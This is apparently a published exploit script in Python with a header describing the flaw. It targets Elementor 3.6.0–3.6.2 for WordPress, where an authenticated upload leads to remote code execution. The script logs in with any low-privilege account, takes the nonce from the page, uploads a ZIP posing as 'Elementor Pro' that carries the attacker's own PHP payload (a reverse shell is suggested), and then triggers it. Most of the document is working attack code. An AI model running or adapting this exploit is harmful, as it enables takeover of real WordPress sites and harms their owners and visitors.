# Exploit Title: WordPress Plugin Elementor 3.6.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/16/2022
# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
# Vendor Homepage: https://elementor.com/
# Software Link: https://wordpress.org/plugins/elementor/advanced/ (scroll down to select the version)
# Version: 3.6.0, 3.6.1, 3.62
# Tested on: WordPress 5.9.3 (os-independent since this exploit does NOT provide the payload)
#!/usr/bin/python
import requests
import re
# WARNING: This exploit does NOT include the payload.
# Also, be sure you already have some valid credentials. This exploit needs an account in order to work.
# # # # # VULNERABILITY DESCRIPTION # # # # #
# The WordPress plugin called Elementor (v. 3.6.0, 3.6.1, 3.6.2) has a vulnerability that allows any authenticated user to upload and execute any PHP file.
# This vulnerability, in the OWASP TOP 10 2021, is placed in position #1 (Broken Access Control)
# The file that contains this vulnerability is elementor/core/app/modules/onboarding/module.php
#
# At the end of this file you can find this code:
# add_action( 'admin_init', function() {
# if ( wp_doing_ajax() &&
# isset( $_POST['action'] ) &&
# isset( $_POST['_nonce'] ) &&
# wp_verify_nonce( $_POST['_nonce'], Ajax::NONCE_KEY )
# ) {
# $this->maybe_handle_ajax();
# }
# } );
#
# This code is triggered whenever ANY user account visits /wp-admin
# In order to work we need the following 4 things:
# 1. The call must be an "ajax call" (wp_doing_ajax()) and the method must be POST. In order to do this, we only need to call /wp-admin/admin-ajax.php
# 2. The parameter "action" must be "elementor_upload_and_install_pro" (check out the function named maybe_handle_ajax() in the same file)
# 3. The parameter "_nonce" must be retrieved after login by inspecting the /wp-admin page (this exploit does this in DoLogin function)
# 4. The parameter "fileToUpload" must contain the ZIP archive we want to upload (check out the function named upload_and_install_pro() in the same file)
#
# The file we upload must have the following structure:
# 1. It must be a ZIP file. You can name it as you want.
# 2. It must contain a folder called "elementor-pro"
# 3. This folder must contain a file named "elementor-pro.php"# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else)
# 4. The payload must contain AT LEAST the plugin name, otherwise WordPress will NOT accept it and the upload will FAIL
# e.g.
# <?php
# /**
# * Plugin Name: Elementor Pro
# */
# // Actual PHP payload
# ?>
# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else)
#
# WARNING: The fake plugin we upload will be activated by Elementor, this means that each time we visit any page we trigger our payload.
# If it tries, for example, to connect to an offline host, it could lead to a Denial of Service.
# In order to prevent this, I suggest you to use some variable to activate the payload.
# Something like this (visit anypage.php?activate=1 in order to continue with the actual payload):
# if (!isset($_GET['activate']))
# return;
# Change the following 4 variables:
payloadFileName = 'elementor-pro.zip' # Change this with the path of the ZIP archive that contains your payload
baseUrl = 'http://192.168.56.103/wordpress/' # Change this with the base url of the target
username = 'guest' # Change this with the username you want to use to log in
password = 'test' # Change this with the password you want to use to log in
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
session = requests.Session()
cookies = { 'wordpress_test_cookie' : 'WP+Cookie+check' } # WordPress needs this to tell if browser can manage cookies
def DoLogin(username, password):
global cookies
loginUrl = baseUrl + 'wp-login.php'
adminUrl = baseUrl + 'wp-admin/'
data = { 'log' : username, 'pwd' : password, 'wp-submit' : 'Login', 'redirect_to' : adminUrl, 'testcookie' : 1 }
# search for: "ajax":{"url":"http:\/\/baseUrl\/wp-admin\/admin-ajax.php","nonce":"4e8878bdba"}
# 4e8878bdba is just an example of nonce. It can be anything else.
regexp = re.compile('"ajax":\\{"url":".+admin\\-ajax\\.php","nonce":"(.+)"\\}')
response = session.post(loginUrl, cookies=cookies, data=data)
search = regexp.search(response.text)
if not search:
# I've tested this on WordPress v. 5.9.3
# Fix the regexp if needed.
print('Error - Invalid credentials?')
#print(response.text)
else:
return search.group(1)
def UploadFile(fileName, nonce):
uploadUrl = baseUrl + 'wp-admin/admin-ajax.php'
data = { 'action' : 'elementor_upload_and_install_pro', '_nonce' : nonce }
files = { 'fileToUpload' : open(fileName, 'rb') }
regexp = re.compile('"elementorProInstalled":true') # search for: "elementorProInstalled":true
response = session.post(uploadUrl, data=data, files=files)
search = regexp.search(response.text)
if not search:
# If Elemento Pro is already installed, the upload will fail.
# You can print the response to investigate further
print ('Error - Upload failed')
# print (response.text)
return False
else:
print ('Upload completed successfully!')
return True
# Define YOUR method to activate your payload (if needed)
def ActivatePayload():
payloadUrl = baseUrl + 'index.php?activate=1'
session.get(payloadUrl)
print('Trying to login...')
nonce = DoLogin(username, password)
print('Nonce found: ' + nonce)
print('Uploading payload...')
fileUploaded = UploadFile(payloadFileName, nonce)
# Define YOUR method to activate your payload (if needed)
if fileUploaded:
print ('Activating payload...')
ActivatePayload()
